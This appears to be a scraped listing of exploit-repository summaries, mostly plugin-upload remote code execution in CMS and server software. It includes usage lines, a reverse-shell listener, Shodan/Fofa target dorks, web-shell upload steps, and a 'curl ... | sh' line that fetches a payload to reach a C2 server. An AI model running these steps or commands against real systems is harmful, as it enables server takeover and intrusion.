CVE-2023-32315-Openfire-Bypass

CVE-2023-32315 0x01 Obtain the returned JSESSIONID and csrftoken, construct a request packet to add a user replace JSESSIONID, csrftoken cd CVE-2023-32315-Openfire-Bypass/scanall go mod tidy go run main.go -u http://openfire.com:9090 0x02 Plugin compilation and installation mvn clean package or...

XSS2Shell

XSS2Shell XSS2Shell is an educational proof of concept for CVE-2026-64638 , demonstrating the impact of a pre-authentication XSS issue in vulnerable WordPress installations. With an administrator's explicit participation, the PoC captures a WordPress Application Password, publishes a temporary...

Limesurvey-RCE

Limesurvey-RCE LimeSurvey Authenticated RCE Proof of Concept: 1. Create your files config.xml and php reverse shell files 2. Create archive with these files 3. Login with credentials 4. Go Configuration - Plugins - Upload & Install 5. Choose your zipped file 6. Upload 7. Install 8. Activate plugi...

CVE-2023-37756-CWE-521-lead-to-malicious-plugin-upload-in-the-i-doit-Pro-25-and-below

CVE-2023-37756 – Weak Password Requirement in admin-center lead to malicious plugin upload in the i-doit Pro 25 and below i-doit Pro 25 and below are vulnerable to weak password requirement vulnerability in admin-center + malicious plugin upload lead to RCE vulnerability. These vulnerabilities...

CVE-2021-44967

CVE-2021-44967 - Authenticatedprivileged RCE Authenticated privileged remote command execution in LimeSurvey Version 5.2.4 via upload and install plugins allows a remote user to upload arbitrary PHP code file. Usage python3 exploit.py --url --user --password --lhost --lport A superadmin user is...

wordpress-shell

wordpress-shell Cheap & Nasty Wordpress Command Execution Shell. Execute Commands as the webserver you are serving wordpress with! Uploaded shell will probably be at /wp-content/plugins/shell/shell.php Install To install the shell, we are assuming you have administrative access to the Wordpress...

CVE-2025-50286

Grav CMS v1.7.48 / Admin Plugin v1.10.48 - Authenticated RCE via Plugin Upload CVE-2025-50286 Grav CMS v1.7.48 with Admin Plugin v1.10.48 is vulnerable to Remote Code Execution RCE via the "Direct Install" plugin upload feature, allowing authenticated administrators to execute arbitrary PHP code ...

CVE-2023-22515_RCE

A way to achieve RCE after obtaining backend permissions in Confluence Manual GetShell Steps You can upload custom plugins in the backend to achieve RCE Access plugins/servlet/com.jsos.shell/ShellServlet...

XSS2Shell-CVE-2026-64638

XSS2Shell Multi-Target Scanner Developer: YogaGymn PoC/scanning utility for authorized WordPress security testing. The project contains a single-target exploitation workflow and a concurrent multi-target scan-only mode. Important: Use this project only on WordPress installations that you own or...

CVE-2026-31816-rshell

CVE-2026-31816 反向 Shell 漏洞利用工具 概述 该工具利用 CVE-2026-31816 在目标 Budibase 服务器上建立反向 Shell 连接。 攻击链 ：身份验证绕过 → 上传 DATASOURCE 插件 → 服务端代码执行 → 反向 Shell 环境要求 Python 3.6+ requests 库（pip install requests） 存在 CVE-2026-31816 漏洞的目标 Budibase 服务器 使用方法 基本步骤 1. 在攻击机启动监听器 nc -lvnp 4444 2. 运行漏洞利用工具（另一个终端） python3...

CVE-2021-46398_Chamilo-LMS-RCE

CVE-2021-46398 Chamilo-LMS 1.11.14 RCE 发现 Chamilo LMS v1.11.14 存在一个零点击代码注入漏洞，攻击者可通过精心构造的插件执行任意代码。该漏洞通过用户与攻击者个人资料页面的交互触发。 一键技术：拥有学生账户的攻击者可以创建一个恶意网页或恶意 SVG 图像文件，并将该文件上传到学生个人资料页面的“我的作品”部分，然后复制该文件的 URL 并发送给 Chamilo 管理员用户。当管理员用户在浏览器中加载该文件且 Chamilo 会话处于活动状态时，后台会上传一个插件（.zip 文件）到 Chamilo。随后，攻击者只需导航到...

CVE-2025-52136

CVE-2025-52136 https://github.com/ricardojoserf/emqx-RCE 原利用方式通过上传emqx插件，在插件模板的代码中添加Erlang os模块调用系统命令执行RCE 出网环境，环境默认存在curl，可以直接通过curl http://xx.xx.xx.xx/1.sh | sh上线C2 目标不出网时，由于EMQX本身即为MQTT消息服务器，因此可以直接配合插件上传，在EMQX服务器执行上传的可执行程序 使用EMQX做MQTT消息队列核心，部署的程序直接作为一个“系统命令代理”，订阅客户端发送的命令，再把执行结果发布回主题。 设计思路...

CSRF-to-RCE-on-Backdrop-CMS

CSRF to RCE on Backdrop CMS 1.20 This PoC describe how to exploit CSRF on Backdrop CMS Version 1.20 with escalation to RCE. CVE ID CVE-2021-45268 Description The Backdrop CMS version 1.20 allows plugins to be added via ZIP files uploaded to the site. And because it does not have anti-CSRF...

CVE-2026-63030

CVE-2026-63030 - WordPress REST API Batch Route Confusion PoC Description Proof-of-concept exploit for CVE-2026-63030, a pre-authentication vulnerability in WordPress versions 6.9.0 through 7.0.1. It chains: REST API batch route confusion validation vs dispatch mismatch SQL injection via...

-Limesurvey-RCE-CVE-2021-44967

🚀 LimeSurvey RCE CVE-2021-44967 - Authenticated Remote Code Execution This repository contains a functional exploit for CVE-2021-44967 , an authenticated Remote Code Execution vulnerability in LimeSurvey. 🎯 Compatibility Tested and confirmed working on: LimeSurvey 5.2.x LimeSurvey 6.x 🐛...

CVE-2026-12793

CVE-2026-12793 — JetFormBuilder ≤ 3.6.2 未认证权限提升 → 插件上传 → RCE。 受影响版本 存在漏洞：= 3.6.3 快速使用 检查单个目标 python poc.py -u https://target.example --mode check 完整利用（需要现有的低权限账户） python poc.py -u https://target.example --mode exploit \ -nu subscriber -np 'Password123' -c id 批量扫描 python poc.py -l targets.txt --mo...

CVE-2021-44967

CVE-2021-44967 Exploit Title: LimeSurvey 5.2.4 - Authenticated Remote Code Execution RCE Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login Date: 05/12/2021 Discovered by: Y1LD1R1M Exploit Author: D3Ext Vendor Homepage: https://www.limesurvey.org/ Software Link:...

CVE-2025-5394

🚨 CVE-2025-5394 - Unauthenticated Arbitrary Plugin Upload in Alone Theme 📌 Affected Product: Alone – Charity Multipurpose Non-profit WordPress Theme Versions: 🚀 Example Usage: python3 CVE-2025-5394.py -help usage: CVE-2025-5394.py...

CVE-2026-10795-Lab

CVE Lab: CVE-2026-10795 - UpdraftPlus UpdraftCentral RPC Authentication Bypass Chained to Plugin Installation Executive Summary This repository contains a local Docker lab for reproducing and validating CVE-2026-10795, an unauthenticated authentication bypass vulnerability affecting the UpdraftPl...

CVE-2024-27198-RCE

サイバースペースマッピング Dork Fofa app="JETBRAINS-TeamCity" ZoomEye app:"JetBrains TeamCity" Hunter.how product.name="TeamCity" Shodan http.component:"teamcity" 使い方 私は Python3.9 を使用しています。 pip install requests urllib3 faker ! 問題 現在、いくつかの問題があります： 1. yakitプロキシを使用しない場合、悪意のあるプラグインのアップロードが失敗します； 2...